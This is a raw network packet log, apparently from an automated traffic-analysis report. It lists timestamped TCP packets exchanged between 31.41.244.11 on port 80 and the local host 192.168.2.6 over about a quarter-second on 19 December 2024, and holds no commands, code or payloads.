Dec 19, 2024 16:10:32.908406973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.908463955 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.908886909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.908931017 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.911149025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.911160946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.911176920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.911189079 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.911200047 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.911248922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.911248922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.911488056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.911577940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.911643982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.911689997 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.912514925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.912556887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.912712097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.912774086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.913564920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.913655996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.913888931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.913935900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.914865971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.914923906 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.915033102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.915082932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.916665077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.916677952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.916690111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.916716099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.916748047 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.916802883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.916924000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.916929960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.917020082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.918144941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.918231010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.918351889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.918404102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.921560049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.921649933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.922449112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.922461987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.922472954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.922486067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.922504902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.922538996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.922566891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.922579050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.922610998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.922616005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.922806978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.923096895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.923276901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.923329115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.923600912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.923613071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.923727036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.924247980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.924384117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.924424887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.925024986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.925266981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.925276995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.925309896 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.925947905 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.926000118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.926255941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.926307917 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.927005053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.927016973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.927056074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.928088903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.928100109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.928136110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.928915024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.928982973 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.928992033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.929028988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.929862976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.929960966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.929995060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.930008888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.933660984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.933672905 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.933685064 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.933696985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.933710098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.933722019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.933729887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.933768034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.933900118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.933939934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.933948994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.933973074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.935234070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.935281992 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.935391903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.935457945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.937237024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.937354088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.937364101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.937417030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.937695980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.937706947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.937732935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.937755108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.937994003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.938004017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.938040972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.938050985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.939171076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.939179897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.939212084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.939225912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.939835072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.939905882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.940121889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.940165043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.941186905 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.941200018 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.941239119 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.941952944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.941965103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.941998959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.942008972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.942806959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.942893982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.943147898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.943192959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.943948030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.943958998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.943986893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.943999052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.079643011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.079699993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.079732895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.079807997 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.080239058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.080252886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.080291033 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.081083059 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.081120014 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.081229925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.081265926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.081979036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.082994938 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.087838888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.087853909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.087919950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.088056087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.088190079 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.088203907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.088296890 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.089138031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.089153051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.089206934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.089226007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.090013981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.090068102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.090317011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.090420008 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.090739012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.090795040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.091502905 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.091557980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.091593981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.091639996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.092411995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.092456102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.092487097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.092504025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.093295097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.093360901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.093419075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.094341993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.094355106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.094413042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.095479012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.095622063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.095716000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.095786095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.096360922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.096374035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.096437931 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.096854925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.096873045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.096940041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.096940041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.097807884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.097891092 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.097964048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.098004103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.098804951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.098860979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.098872900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.098997116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.099951029 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.099962950 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.100001097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.100016117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.100707054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.100871086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.100970984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.101497889 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.101739883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.101751089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.101826906 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.101826906 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.102684021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.102869034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.102916956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.102958918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.103132010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.104141951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.104159117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.104195118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.104209900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.104886055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.104902983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.104954004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.104984999 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.105827093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.105843067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.105875969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.105895996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.107669115 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.107712030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.107745886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.107788086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.108167887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.108233929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.108345032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.108552933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.109447956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.109513044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.109582901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.109673977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.109747887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.109788895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.110476971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.110615015 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.110685110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.111366034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.111408949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.111489058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.111536026 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.112365007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.112415075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.112464905 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.112652063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.113382101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.113445044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.113508940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.114303112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.114377975 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.114566088 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.114706993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.115358114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.115535975 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.115540981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.115580082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.116274118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.116326094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.116520882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.116619110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.117258072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.117332935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.117389917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.117577076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.118287086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.118336916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.118403912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.119216919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.119263887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.119431973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.119689941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.120234013 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.120253086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.120317936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.121334076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.121346951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.121387959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.121411085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.122181892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.122334003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.122384071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.122447014 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.123183966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.123244047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.123294115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.124119043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.124242067 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.124274015 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.124316931 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.125204086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.125216961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.125289917 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.125289917 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.126306057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.126319885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.126374960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.127161980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.127173901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.127204895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.127218962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.128015041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.128076077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.128216982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.128416061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.129096031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.129163980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.129232883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.129295111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.130021095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.130032063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.130067110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.130081892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.131021976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.131063938 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.131150007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.131192923 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.132026911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.132081985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.132163048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.132215977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.133101940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.133115053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.133189917 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.133918047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.133961916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.134020090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.134064913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.134916067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.134963989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.135149002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.135190964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.135886908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.135904074 CET	80	49881	31.41.244.11	192.168.2.6
